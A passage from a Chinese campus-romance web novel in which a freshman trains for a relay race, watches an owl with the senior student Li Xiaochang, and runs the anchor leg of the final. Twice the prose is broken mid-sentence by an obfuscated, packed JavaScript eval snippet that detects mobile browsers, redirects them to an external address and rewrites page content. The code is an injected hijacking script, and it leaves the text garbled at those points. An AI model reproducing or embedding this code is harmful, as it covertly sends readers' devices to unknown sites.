“好好不说,你上次说人家什么来着?稚气未脱。”孟琳笑,“这个可以留着当哥们。不过别每天和小师弟绑在一起,第一,你看看优秀的师兄;第二,你别挡了小朋友的桃花!” 她把手中的笔记本电脑递给黎晓唱,浏览器几个窗口都是关于程峻齐的介绍。 高中时代获得过全国数学联赛的一等奖,入学后获得过新生奖学金、校长奖学金、三好学生标兵、建模竞赛一等奖,学年排名前三,院篮球、排球队主力,还参加过校园十佳歌手大赛。 黎晓唱差点被杯中的水呛到,人和人,差距怎么就这么大呢?哪来那么多的时间! 不过大神都是三头六臂的,甚至是不需要睡眠的。就像同寝室的唐凝,现在依旧奋战在实验室。 没过两天,几人就在操场上再次遇到。 当天傍晚是登山协会的体能训练时间,程峻齐特意约了李澍,带其他两个接力队员来和他碰头。 恰好校田径队的拉练也还没收尾,几名身姿矫健的队员正在内道跑圈,其他非专业人士都在三道之外。 不过校队教练和这些大社团也相熟,只要不挡路、能跟上,默许他们在田径队员后跟圈。 一圈400米,配速1分30秒,跑上二十圈。 田径队跑得闲庭信步,其他人咬牙切齿。 李澍跟了七八圈,本来也要岔气了,但眼前一晃,看到程峻齐和几个人站在场外,不知道哪儿来的力气,又咬紧牙关跑了两圈。 休息间隙,程峻齐和李澍打过招呼,赞许道:“师弟这个体能,一点都没问题,我们几个才真应该好好练练。” 又向祁飞挥了挥手,“你们还是那么刻苦。” 祁飞和他早就相识,看几个人装束,问:“也来跑两圈?” “是,练练接力。本来今年有俩受伤的,担心组不了队,不过有李澍加入,我们就稳了。”程峻齐笑,“他也是你们攀岩队的吧,强将手下无弱兵啊。” 他拎了一袋子运动饮料分给众人,看起来和老队员很是熟稔,也递了一瓶给黎晓唱,解释道:“说起来我大一也加入过登山协会,后来功课太忙,看了训练计划就打退堂鼓了。真是惭愧,所以特别佩服能坚持下来的。” 黎晓唱想到他那些傲人的成绩,自嘲道:“哪里哪里,像我这样坚持着训练,都差点毕不了业了。” 当着外人,祁飞还颇为关照黎晓唱,替她挽回颜面,“这学期下来应该还挺稳吧,”又说,“晓唱是我们女队的头号选手了。” 程峻齐思索片刻:“对了,迎新时爬树的,也是你吧?” “啊?” “去年八月末啊。”程峻齐回忆,“那天我们几个在帮忙运行李。我们学院的横幅掉了,有个女生爬树系上的……就是你吧?” 黎晓唱略显赧然:“一时手痒,丢人了。” “哪有,”程峻齐爽朗一笑,“特别厉害,我们都看呆了,怪不得他们喊你‘小猴姐’。” 李澍在一旁转着饮料瓶,此时如果再说“我也记得”,就好像是附和别人一样。一时间索然无味。 相处那么久,他为什么没有抢先一步,像程峻齐这样坦然地说起关于她的记忆,让她知道,报道那天他就看到了她,也一直记得。 还有,她爬树的样子也一点都不丢人,是那么灵活轻巧、自由自在。 他一直记得,她站在大树的枝丫间,身上披着细碎的光斑,像是林中的精灵一样。 19. 第八章 (中) 距离运动会还有三周,四个接力队员凑齐,除了李澍和程峻齐,另外两人一个研二,一个大三,是跑步协会的骨干。 此前院队的最好成绩是第三,冠亚军队伍里都有体育特长生。 程峻齐解释:“人家不上田径专项的特招生,就不算违规,但可能是篮球队、排球队或者赛艇队的来跑接力。” 他和其他两位经验丰富的队友一商量,每人制定了一套训练方案。李澍需要在攀岩队体能练习后,多拉练几个接近全速的四百,再优化一些技术细节。 师兄们对他很是欣赏,都说不愧是攀岩队的新生力量,有毅力,能坚持,而且身高和敏捷度都在,游说他也加入院篮球队。 高中时李澍所在班篮球水平不高,他对自己的篮球水平没什么信心,一再推辞。 程峻齐笑:“你总是要给自己个机会,不试试怎么知道?” 他的信任,似乎超越了李澍本人,还提出让李澍跑至为关键的第四棒。 李澍顿感压力巨大,踌躇着如何拒绝。 “不试试怎么知道?”程峻齐语气坚定,“你可能还没发现,自己的耐力和意志力都非常优秀,非常适合跑最后一段冲刺。我相信你!” 黎晓唱也在操场上练习体能,正好绕过来,在一旁鼓励李澍:“就是,试试看呗。就像攀岩,你也是大学之后刚学的,对吧?” “攀岩的确是个特别好的运动,不断发现潜能,突破自我,现在想想看,退出攀登协会,还真的有点后悔。”程峻齐笑着应答,又问黎晓唱,“对了,岩壁现在对外开放吗?等我交了论文,应该有段时间比较空闲。” “按理说……不行。主要是有个安全问题,不能随意爬。” “要毕业了,还没有好好爬一遍,挺遗憾。” 黎晓唱想了想:“也有体验日啊,你和祁飞说说,多组织两次。” 程峻齐笑:“好啊,我想试试南壁。” 社里的人工岩壁拔地耸立,四面都有岩点可以攀登。南侧的造型最为险峻,岩壁像山洞的内壁一样,一个大仰角,斜着向上方探伸出来,竖直落差十几米,对技术和体能都是考验。 黎晓唱咋舌:“有勇气,那可真得练练。” 李澍感觉自己被晾在一旁,他从场边拎了一瓶矿泉水,拧开,咕咚咕咚一口灌了大半瓶。 程峻齐看他许久未搭话,以为他还在犹豫不决,“要不我跑第四棒,你来第一棒?” 李澍仰起头,大口喝光手中的水,扬手把空瓶投进场边的大圆桶,油然升起蓬勃的斗志来:“没事,我来跑。” 李澍比此前练得更刻苦,又在场边围观田径队训练,回想起少年时在速滑队做过的练习,重新又捡拾起来。 几位师兄啧啧称赞:“到底是练过速滑,爆发力真不错。” 春天跑上一小时,他经常脸上混了汗水和沙尘。皮肤显得粗砺,精气神却沉稳硬朗起来。不过人的精力毕竟有限,除去正常的功课和训练,一时间无暇他顾,说好要和黎晓唱一起看的论文,一直放在案头,进展缓慢。 程峻齐早已修完全部学分,毕业论文也在最后润色阶段。他手握几所顶级高校的全奖offer,其中也有他的理想目标,这几天就会给对方去信确认。 之后静待邀请函,预备赴美签证。说起办理签证,他也淡定自若——之前大三时在美国做过半年交流,面签和在美国生活都不算新鲜挑战。 除去在本系长江学者名下的实验室里继续帮忙,他这学期便选了两门之前感兴趣但无暇参加的公选课,其中就有《保护生物学》。 公选课自然是点到即止,不会深入阐述如何开展调查研究,程峻齐渐渐和黎晓唱熟络起来,拿过她最近研读的论文,饶有兴致地翻看,又问了她一些现实中的操作细节。 有些数据处理方法,黎晓唱也一知半解、正在摸索。 程峻齐的问题一旦深入,她便无法作答,反而李澍听得明白,和师兄有来有往讨论起来。 “完蛋,现在变成我听不懂了。”黎晓唱略有尴尬,“你们说慢点……” “还是那句话,有的人负责提供工具,你会用就行。”程峻齐笑着替她解围,“学科之间本来就是既有分工,又有合作。我也不是看一眼就明白,所以才好奇多问几句。” 黎晓唱吁了一口气:“说起来多亏小澍,要不然我前两年落下的数理基础,不知道要补到什么时候。” 李澍明白,深入到模型细节,他也尚未摸清门道,只有程峻齐侃侃而谈。师兄见多识广,思维敏捷,言谈之间给他许多启发。但这些感谢的客套话,此时却说不出来。 程峻齐倒是赞许地看向李澍:“师弟大一就在看这些,很不错啊。有没有想过,大二选哪个专业,以后想进哪个实验室?” 李澍摇头。 “如果你对这些模型感兴趣,可以看看这两本英文书。”程峻齐拿出笔来,写下名字,是关于统计学习和机器学习的,“和数学学院的概率统计相比,我们专业有自己的关注点,写代码也是基本功。也可以再看几篇论文,回头发你,不仅要懂理论,还得把里面的模型动手实现一遍,自己去调参数、跑数据。” 李澍本想说,这些距离自己还有些遥远,但黎晓唱就站在身旁,眼睛亮闪闪的,左看看,右瞅瞅,兴致勃勃地听着两个人说话……那些婉言推辞的话,便都说不出来了。 他点头应下:“多谢师兄,月底学院有分专业的宣讲会,我再好好研究一下。” 程峻齐爽快道:“哦对,学院也让我作为高年级代表去座谈,你有什么不明白的地方,随时联系我。” 黎晓唱还没出大教室,就看到室友孟琳和周亚岚在门口探头探脑,围观八卦般,笑得颇有深意。 她想起连续几日被燃烧着八卦之魂的孟琳缠问,脸上一热,支吾道:“我室友来了……可能刚刚就在附近自习……来找我一起回去……那,我先走了。” 走到门口,孟琳就挤眉弄眼,扯她袖子:“看你和程师兄聊得很开心啊。” “哪有,他在跟李澍说话呢。”黎晓唱把袖子扯回来,“你们怎么来了?” “我们就路过,看看,”孟琳把她往回推,“你别着急走啊,怎么把师兄自己仍在那儿……” “我没……都说了再见了。”黎晓唱揽过两个室友,“走了走了。” 三个女生还在叽叽喳喳,把大门堵了半边。程峻齐也正好走到门口,微笑侧身:“晓唱,栖息地这篇论文还在我这儿,改天跑步时拿给你。” “嗯嗯好。” 看旁边两个女生也在打量自己,程峻齐大方地打了招呼:“你们是晓唱的室友吧。” 孟琳点头:“是啊,我们都听说过,程师兄是计算机系的大神。” 黎晓唱在身后掐她:这语气,好像是她回去说的一样。 孟琳拨开她的手,继续道:“我们上学期,用过一个抢课的小程序,听说就是师兄写的。” 黎晓唱多少松了一口气。 “本来就是我自己懒得一直点鼠标,随手写的,室友看到就问我借用……没想到被外传了,还把刷新频率设置那么高。” “是啊,不过后来好像被拦截了?” “那也是我啊……”程峻齐抚额,“发现捅娄子了,就主动自首,帮选课系统打补丁去了。” 孟琳说:“以后有什么好东西私下发给大家就好,我们保证不外传!” 程峻齐摆手:“以后这种事儿是不会碰了,不过要是有什么其他需要帮忙的,可以喊我。” 女生们笑起来:“修电脑吗?” 程峻齐无奈:“认真的吗?我觉得自己编程什么的都还可以,就修电脑吗?无所谓了,有需要就和晓唱说吧,我总能看到她。” 孟琳和周亚岚了然对视,“那谢谢师兄了!” 黎晓唱知道室友们为什么这么热络,周围还有三三两两出教室的同学们,只想拽了两个人赶紧离开。 李澍本来也想找个小自习室,收拾了书包,抬头看到几个人在门口聊得开心。黎晓唱背对教室,看不到她的表情,但对面两位应该是她同寝室的师姐,看上去和程峻齐也是熟识。 他一时不知道怎么从众人间穿插过去,于是又转身坐下。 过了片刻,门口安静下来。他扭头回看,已经不见黎晓唱的身影,也没听到每堂课后她招呼自己自习,或者是道别时欢快的声音。 这安静,有点太安静了。 回到宿舍楼,孟琳在楼道里就忍不住盘问:“你最近和程师兄很熟了嘛。” 黎晓唱面红耳赤,将她塞进寝室:“我看你和人家也很熟啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116233|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别别,我可不是和师兄套近乎,我们就是好奇围观。”孟琳连忙撇清,“你听师兄刚才的话,需要他帮忙的话,就和你说,这是没把你当外人啊!” 周亚岚也说:“是哦,还主动和我们打招呼,问我们是不是你的室友。” 黎晓唱嗔道:“你们当着那么多人,有咱们学院还有计算机的,一脸八卦也太明显了。就不能学学唐凝同学么?多去泡泡实验室?!” “我们去了啊,站了一天呢,这不正好结束得早去找你吗?”孟琳振振有词,“想现场看看大神。” 周亚岚道:“我男朋友也说,计算机的程师兄是个牛人。” 黎晓唱无语,这八卦都传到本系男生那边去了吗? 孟琳肩膀搡她:“别光我说我们八卦,你对程师兄,就没有好感吗?” 黎晓唱想了想:“我是觉得程师兄特别厉害,知识面广、脑子转得特别快,参加那么多活动,成绩还好,真是精力充沛。太标杆了,让人敬、佩!” 周亚岚点头:“崇拜就是好感的第一步啊!而且,师兄对晓唱应该也有好感。他当然优秀,我们晓唱也非常的……不一样!” 黎晓唱打哈哈:“是,能飞檐走壁,爬墙上树,和大多女生不一样。” 孟琳分析:“我觉得他看晓唱的时候,一直是笑着的,不是客套,是很真心,有点宠溺的笑。” “哎呀哎呀,”黎晓唱挥手,“你晋江小说看多了吧!还充溺地笑!人家那是大神习惯了小学妹的崇拜,随时保持形象好吧。而且,人家过几个月就出国了,别讨论我们啦。” 孟琳:“你就担心这个吗?这是距离吗?大不了你也出个国啊。” 周亚岚附和:“是啊,和凝凝一起考个G。” “我才不,不想背砖头那么厚的词汇书,”黎晓唱摇头,“我就想留在本系读研,国内的保护区我还没去够呢!” 室友们又嘻哈良久。 熄灯后黎晓唱躺在床上,想起程峻齐从容淡定地解答她的问题,真的让人感觉十分安心,仿佛没有什么是他无法应对的。 不能否认,她真的很愿意和他聊天。如果说这算不算好感,当然算。但是,绝对不是室友们想要八卦的那种。 她又转了个身,的确自己觉得尴尬羞怯,但又没有完全制止室友的嬉闹,是因为内心并不反感和程峻齐一起被讨论被八卦吗? 从小到大,她也有过想要亲近的男孩子。 但有些是过段时间就觉得对方跟不上自己的节奏,不够好玩;有些是因为转学或升学疏于联系,也没再惦记;更多是相处久了只想做兄弟,不想粘腻在一起。 她并不排斥未来有如何的发展,但当下,这种好感和心动挂钩吗? 如果唐凝回来了就好了,能客观全面地分析一下。 黎晓唱轻叹一口气,唐凝的本科科研项目正在收尾,每日更加忙碌。经常一两点结束实验,或者索性通宵,为了不打扰大家,就在组里支个折叠床。 祁飞也拿到offer了,被各路人马吆喝着请客聚会,几次想要喊唐凝,她都没有应答。 说起来,唐凝和程峻齐倒是挺像,俩大神。 黎晓唱翻了个身,又想,要不就介绍他们认识一下? 转念自己都笑了。那队长不得罚她在岩壁上挂一整天?再说了,俩大神每天举行学术会晤吗?还有,天马行空想什么啊,赶紧睡觉了…… 辗转反侧,迷迷糊糊中,意识到,最后告别时李澍好像格外安静。哦,不对,自己是不是没和他说再见就跑掉了? 他虽然和程峻齐讨论了一阵,但有点情绪低落。 黎晓唱想起他最初担心退学的彷徨样子,不禁浅笑:小伙子肯定又多想了。 人家是大四,他是大一,学术积淀有差距也是正常啊。 再说,来了这所大学才知道什么是神仙打架,才真正看到大神中的大神——这点也是要接受的,比如唐凝,那就是全寝室、周边好几个寝室,都无法企及的高度啊。 要怎样能鼓励李澍一下呢?还得不动声色,这个小朋友,心思还挺敏感。 怎么不能学学自己,眉间放一字宽,啥事儿都别太往心里去。 想着想着,便睡过去了。 窗外一阵风声,刚长出新叶的杨树摇得哗啦作响,像是下了阵急雨。 20. 第八章 (下) 过几日,真的下了一场雨。 此前风沙飞扬,空气似乎都染成灰黄色,此时被一场春雨荡涤干净。城市换了个样子,国槐、银杏、槭树、法国梧桐……这些在李澍北国的家乡都不生长,所以他第一次见到它们春来时嫩叶新鲜翠绿的样子。 哪怕在浅灰色的云下,那绿色都如此明亮,让人觉得心里都开阔起来。 山桃、山杏、玉兰、早樱、晚樱、西府海棠、碧桃、紫藤……李澍跑步时经过校园的各个角落,便也会想起黎晓唱指认给大家的那些花树。 她总说自己植物认得不多,但校园中常见的观赏类植物,她都叫得上名字,说自己是“以貌取树”。 在柏油路上跑个三五公里,将将算是热身。他又来到操场,拉练了几个接近全速的四百米。 心脏剧烈跳动,雨水顺着脸颊滑进嘴里,有点咸,齿间也有些发酸。李澍胡乱摸了一把脸,看时间,400米用时1分02秒。 应该进不了个人赛的前八,而去年全队的4乘4接力成绩是3分52秒……平均每个人58秒,还要再提高啊。 他在场边踱步放松,想着到运动会还有几天,如何分配训练时间,不禁有些焦躁。想喝口水润润喉咙,不小心呛了一口,拍着胸口咳嗽起来。 有人小跑过来,还隔了几十米,就大声喊他:“李澍!” 她脚步轻盈,大步跨过积水,一件浅紫冲锋衣,风帽兜在头上,七分紧腿运动裤,不用说,就是黎晓唱。 李澍和她打个招呼,一张嘴灌风,又咳了起来。 黎晓唱连忙给他捶背:“训练差不多就行,还有一周多,调整一下状态,可别受伤。” “没事,水喝急了。”他又咳了一声,“一会儿再跑两圈。” “你在掐表?”黎晓唱看他T恤湿透,知道他已经跑了不短时间,胳膊上一层细密的水珠,不知道是雨还是汗,“鞋都沉了,再掐也不准了。” 李澍还想说些什么,黎晓唱拽他袖口,催促道:“快回寝室,飞速换个衣服,我接到线报,带你去看好玩的,去晚了不一定在了!” 李澍看她没跑步,但脸颊红扑扑的,刘海贴在额头上,问:“又去爬楼梯了?不练3000了?” “嗯。”她点头,“3000米就那样吧!运动会,重在参与。” “我好像,要拖院队后腿了。”李澍略显黯然。 “你认真练习,自己做到最好就可以。”黎晓唱拍他肩膀,“啪唧”拍了一手的水,“如果你不参加,他们今年都组不了队;再说,场上有对手较劲儿,一定比自己跑成绩好!” 李澍略沉默,声音有些艰涩:“就是觉得,和师兄们比,还有差距。” “嗐,想太多了。”黎晓唱耸肩,提了李澍大三师兄的名字,“他我知道啊,刚入学的时候也没这么能跑,后来在跑协练得特别多,每次我们来操场跑圈都能碰到。那别人跑步的时间,你还练习攀岩了呢,时间用到哪儿,都是会显现出来的,对吧。” 李澍点头,但内心还是想:不能输,至少,不能成为接力四人中最弱的一环。更何况,自己已经接下了最后一棒的重任。 当时为什么……那么冲动呢? 黎晓唱看他还是蹙着眉头,莞尔道:“就好像你专业课,上学期期中还担心退学,期末不是考得还可以?那刚开始,我还以为我概率统计以后都很难及格呢。” 李澍看她大大咧咧的样子,奇道:“你都不着急吗?” “急啊,特别急,但是也得一点点进步,隔段时间能看到自己的提高就好。” 李澍由衷道:“师姐总这么乐观。” 她欢快地笑起来:“也不全是乐观,我是吃瘪吃得多,经常被打击得不行。但那句话怎么说来着,Whatdoesn’tkillmemakesmestronger!” 过了两个路口就是李澍的宿舍楼,他飞快换了衣服,又加了件外套,想了想,拿了挂在架子上的折叠伞。 黎晓唱看他带伞出来,摆手道:“不用不用,把你的帽子戴好,雨不大!” 绵密的细雨的确渐渐收拢。两人穿过满是泥土清香的草坪,走到湖畔的山坡附近,沿着石板路绕过去,看到有人穿着雨披,正从林间走出来。 黎晓唱招手,低声打招呼,开心地介绍:“这是小林老师,认鸟高手。”又问,“还在吗?” 小林老师颔首:“在,还在。” 李澍看两个人,又想起曾在校园路边瞥见“抗日战争联络点”,觉得他们像年代剧接头一样。 “什么还在?”他问。 黎晓唱卖了个关子,带他走到树下。她捡了块石片,在地上拨弄着什么。 李澍诧异:“不是说观鸟?”他抬头看了一眼,松柏上似乎没什么动静。 黎晓唱仰起头来,脸庞圈在风帽里,看起来小小的,更显得眼睛闪闪发亮。她递过石片,笑得有些狡诈:“小澍,想知道遇到了什么,当然是自己剖开看。” 李澍此前听她讲过若干次在野外的工作经历和《时间简史》的笑话,看她在树下拨弄,一时犹豫,下意识蹙眉捂鼻,后退半步。 黎晓唱一把抓住他的衣襟,将石片塞进他掌心。 李澍:…… 他只能硬着头皮,勉强弯下腰。她单膝蹲在前方,笑意盈盈,眼里闪烁着恶作剧般的顽皮。 “想什么呢?这么看能看出个一二三?”她不断怂恿。 地上一个不大的小圆球,黑褐色,看起来就……李澍捏着石片,不想看。 怎么也得给他一只手套,哪怕套个塑料袋也好吧。 黎晓唱看他半蹲又站起,皱着眉头下不了手的样子,阴谋得逞般笑了起来。她还要压低自己的声音,憋得有些辛苦。 “你以为我让你‘简史’吗?”她搡着他起身,“你看!” 李澍顺着她手指的方向看过去,只看到深褐色交错的枝干。他茫然:“看什么。” “顺着我手指的方向。”黎晓唱踮脚,尽量接近他的视角,手臂伸直,几乎贴在他脸颊上,“那个向西分叉的树枝,紧挨着树干的地方。” “没什么啊。” “那片颜色稍浅的地方,你仔细看。”她语气着急,声音依旧压得低,“那是它的肚子啊!” 他顺着她的指尖看过去,目光沿着树干逡巡。 那片颜色稍浅的树皮,闲闲地,睁开了一只眼……它居高临下,伫立睥睨,个头不大,倒是神色倨傲。 “猫头鹰!”李澍福至心灵,想到黎晓唱曾经在夜里说起的“那么早就回来了”。 “东方角鸮,也叫红角鸮。”黎晓唱开心,“别看人家长得小,也算猛禽,国二呢。” 李澍从没在现实中看到过猫头鹰,也说不出的喜悦。 黎晓唱递给他一副小望远镜:“有点萌是不是?尤其歪头看你的时候。” 它羽毛上的花色纹理都和树皮肖似,在望远镜中才能看到一小簇绒毛在风中轻摆,眼睛睁开时,脸庞真的像一只猫。 不过片刻,它就将头扭过去,只剩灰褐一片羽毛,更是完美隐身在树上。一晃神,就得重新找那根树枝 “不过也不难找。”黎晓唱笑,“有破绽。”她指着树干上白花花几道喷射状痕迹。 李澍意识到,这才是它的排泄物。那地上…… 黎晓唱已经蹲下,拿着石片和树枝,将小球一点点推开:“这是它的食丸,消化不了的部分就会吐出来。你看,它之前吃的应该是什么甲虫哦,有壳……大的猫头鹰会有更大的食丸,就可能看到老鼠的骨头呢……” 她不忘提醒李澍:“它可能最近白天都在这儿,你可以来看,但不要外传,更不能带人来看,人多了大呼小叫,会打扰它休息的。” 李澍点头。他顶多和她一起来,怎么会喊别的什么人? 他想:没错。宝贝的东西应该藏起来,不告诉别人。 运动会当天晴空万里,入场式热闹非常,院系的学生队伍各显神通,卡通人物、技能展示、翻板拼字……全景通过场边的大屏幕投映出来,惹得大家阵阵欢呼。 音乐锣鼓震天,周围几座教学楼也不能安心自习,陆续来参赛和加油的学生也不少。 黎晓唱在3000米比赛大显身手,开场就冲在第一梯队,和跑协的一位姑娘交替领先。场边认识她的人也不少,助威声此起彼伏,隔一段就有人喊:“晓唱加油!” “小猴姐、加油!” “唱姐加油!” 还有选修《保护生物学》的低年级同学,在场边认出她来,大喊:“晓唱老师加油!” 工作人员面面相觑,学生项目,哪里来的老师,有人违规吗? 在最后一圈她还有力气加速,甩开步子,神情也严肃起来,凭着日积月累的优秀体能,将第二甩开十余米,稳稳地冲线夺冠。 李澍和同学院的队员们站在一处,也大声为她加油。程峻齐等在终点线,笑着看她,赞叹道:“看你跑得轻松,胜似闲庭信步啊。” 她冲线后松了一口气,这才五官扭曲,捂着侧腰连连摆手:“不行不行。” 程峻齐道:“有点岔气吧,别说话了,多走几圈。” 他的队友揶揄:“不给我女朋友加油,给人家攀岩队的加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116234|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油,师兄你偏心啊。” 黎晓唱的室友们也拿着她的外套和水瓶围过来,一个个围观八卦般兴奋。孟琳道:“晓唱交给我们啦,我们陪她走几圈。师兄你们几点比赛,我们再来加油。” 生科的男同学抗议:“诶诶,你哪个学院的,走错了哈!” “友谊第一嘛!” 黎晓唱被围在众人之间,李澍想向她挥挥手,说一句祝贺,也只看到她的身影半隐半现,手臂只能悬在半空。 黎晓唱却在人群中看到他,虽然她刚全力跑完三千米,还有些龇牙咧嘴、五官扭曲,但还是笑着挥了挥手,用夸张的口型对他说:“小澍,加油!” 四乘四百米是运动会的压轴项目,检录时已经下午四点多,春风依旧刮得急,在操场边卷起阵阵烟尘。 一共分了两组,李澍他们和实力强劲的法学院分在一组。 程峻齐看了分组名单,低声道:“第一组只有物理和咱们实力差不多,还是咱们赢面更大。法学、数学、工学都在咱们同组,所以基本就是决胜局了。” 说话间,法学代表队也到场检录,每个都人高腿长,身体强健,他们认出几位老队员,笑着打招呼:“计算机加油!” 程峻齐也笑:“法律加油!” 跑协的大三师兄低声笑道:“他们这身板,用我们加油?” 黎晓唱又跑了个接力,中间也没歇着,跑前怕后帮本学员队员作服务。眼看男子4乘4接力就要开赛,连忙跑去终点线附近。 第一组的队伍已经陆续上道,她站在跑道内圈的草坪上,被工作人员拦着无法穿越,只能向跑道外侧等待区的李澍拼命挥手。 看着和他并排等候的法学院队伍,明显经过专业训练,哪怕不是田径专项,但篮球、赛艇等项目一样考验体能,各个自信十足,气度张扬。 她三千米没少呛风,到了下午嗓子有些哑,想要大喊李澍的名字却喊不出来,只能在内心默默给他鼓劲儿:“没关系的,小澍,相信自己,拼尽全力,你可以的!” 他看到她手舞足蹈的样子,心中瞬间安稳许多。 第一组跑完,程峻齐也掐了时间:“最快的是物理,3分58,没有意外,冠军就在我们组。” 四个人伸出右手,交叠在一起,大喊了一声“加油”。 场边旗帜招展,加油声阵阵如浪潮,每个人的血液都澎湃起来,不断冲击胸膛。心头有一丝紧张不安,又迫切地想要飞奔在跑道上。 程峻齐第一棒出征。隔了两个道次的法学院队员人高马大,跑起来力量感十足。但程峻齐起跑时卡点十分精准,枪声一响,便如离弦之箭一般飞射而出,压了对方半个身位。他节奏稳定,体能充沛,对方几次想要反超,都被他顶住压力克制,终于将领先优势稳稳带到接力区,第一个完成交棒。 程峻齐在内道,顺势走到内场草坪,和围观加油的黎晓唱打了个照面。 “我也给你们加油了!”黎晓唱道,“嗓子有点哑,喊不出来。” 他笑:“那也听到了。” 第二棒在场内奋力追逐,黎晓唱踮脚张望,程峻齐拍拍她手臂:“我们去弯道那边。” 黎晓唱点头:“哦对,冲刺的时候才最需要鼓劲儿!” 她向着李澍挥手,示意自己要去弯道处。 李澍已经在场边准备,第三棒的师兄蓄势待发,须臾间就会轮到他上场。 法学院的第二棒身体素质极佳,跑姿漂亮,将其他人远远甩开。李澍的队友一度落后,掉到第四,好在他后劲儿十足,冲刺阶段又咬回到第三位。 李澍目光紧跟场上胶着的追逐,余光瞥到对面两个人的身影。 黎晓唱向他挥了挥手,便蹦蹦跳跳跟在程峻齐身边,一起离开终点线,向草坪另一侧走去。 他还来不及多想,二三棒已经完成交接。 第三棒交接时,法学院的队员已经跑出去二十米,而计算机与工学两队几乎同时完成交接。 场边的观众们也激动起来,互相比着谁的加油声更高亢。 最后一棒的参赛选手迅速进入接力区,李澍转身,看到师兄已经开始进入弯道,和暂列第一的法学院之间的距离似乎又拉大了,而隔壁工学院紧追不舍,和师兄二人你追我赶,难分高下。 李澍深呼吸,感觉自己的手指轻轻颤抖。 仲春的南风扑面而来,虽然温暖,但力道强劲,带着沙尘的气息,让人呼吸凝滞。场边的工作人员和观众都扭过头去,稍作躲避。 李澍迎着风站定,眯了眯眼,攥拳又松开,努力安定心神。 这一分钟,定将是一场硬仗。 21. 第九章 追逐 法学的第三棒依旧强势,率先完成最后一棒交接。第四棒速度不减,风驰电掣,一度将领先优势拉大到五十米。 黎晓唱咋舌:“他是要起飞吗?” 程峻齐知道对方大概实力,评论道:“他是很快,但这个起跑冲得猛了,后半程不会一直是这个速度。” 黎晓唱担忧:“那想追上也很难吧……” 程峻齐微笑:“要相信小澍。” 李澍甩头回望,感觉这两三秒等待无比漫长。工学院的队员在最后百米直道冲刺中,略压了计算机一个身位,率先完成交接。 工学已经迈出两步,接力棒才砸入掌心,李澍握紧,发力向前追去。 对方的橘色运动服看似近在咫尺,大概领先两米左右。李澍本想在第一个百米弯道保存体能,但跟在对手身后,感觉自己的步幅舒展不开。他向右略侧身,打算加速超过对手。 橘色运动服感觉到他的意图,也开始提速,有意无意间路线还向外侧偏了偏,正好挡在李澍的超越路线上,并且靠着内道优势压在他前方。 李澍脚步一缓,略一调整,在出弯道前将弧线略拉开,步子甩开,进入直道时已经和橘色运动服并肩而行。 李澍明白,自己和对方速度相差无几。想到之前备赛时,跑协的师兄说,别追太猛,提前透支体力,后面可能就维持不住速度了。 但此时二人已经进行了一次角力,如果再收速,给对方反超的机会,下一个弯道的赶超将会更难。 开弓没有回头箭,在心脏狂跳的场上,他无暇去想后续,加大步伐,将橘色运动服甩到身后,然后迅速回正到内侧直道上,力争将领先优势代入第二个弯道。 至于要保存多少体能,冲刺的事情,留给冲刺时再想。 黎晓唱远远看见李澍反超工学院,兴奋地跳起来,摘下棒球帽用力挥着,哑着嗓子喊着他的名字,“加油,小澍加油啊!” 程峻齐也大喊:“漂亮!李澍,坚持住!” 法学院的队员速度稍减,但领先优势仍在,疾风一般从众人面前掠过。李澍已经甩开工学院队员三五米,进入第二个弯道,并开始继续加速。 黎晓唱瞪大眼睛,程峻齐赞道:“好样的,小澍!” 臀腿的酸胀感逐渐累积,李澍感觉自己的脚步逐渐沉重,胸口像有火焰在燃烧,焦灼地燎着嗓子眼。 场边程峻齐的喊声传来:“调整呼吸,摆臂!” 吸气、呼气;吸气、呼气…… 李澍略作调整,主动提高摆臂幅度和频率,带动全身保持速度。此时摆臂也并不比抬腿轻松,但李澍曾无数次在岩壁上横移,从几分钟到十几分钟、半个小时,每次都是手臂和指节酸痛到力竭才跌落下来,从没有因为难以忍耐而主动放弃。 坚持不懈,突破自我,是这半年在攀岩队被反复提起的口号,不知不觉,已经成为烙印在心底的信念。 弯道尽头,有个蹦跳的身影,用力挥舞手中的帽子,喊着他的名字,声音略沙哑,但在疾风呼啸、人声鼎沸的赛场上,依旧那么真切。所有的喧嚣都是背景,只听到她卖力喊着:“小澍,加油!” 他心底的那团火焰,燃烧得更加剧烈。 和前方法学院队员的距离,似乎从最初的半个弯道,缩减到十几米。 一个念头忽然涌上心间:或许,是有可能反超的呢? 转入最后一个直道,南风携着沙尘,迎面飞扑,呼吸瞬间一滞。 在出弯道时,李澍又稍微向右侧闪身,竟然跑到了第二道上。前方法学院的运动员不再遮挡视线,百米外的终点线清晰可见。 程峻齐大喊:“李澍,加油,超了他!” 法学院的队员跑姿专业,状态稳定;但李澍一路加速,毫不放松,此刻特意和对方错开,为自己保留冲刺的空间。 黎晓唱也看出他的意图,心提在嗓子眼。 想要在最后百米冲刺,超越动作专业的体育生,几乎无异于痴人说梦。但李澍牙关紧咬,神色坚毅。他飞掠过她身边,黎晓唱转头去望,也被平地刮起的南风扑了满怀,和场上的队员一样,呼吸停了半拍。 她内心忽然涌出无限感慨,来不及思考到底是怎样的情绪,只是在那一瞬间,心电感应一般,她清楚感知到李澍破釜沉舟的决心和勇气。 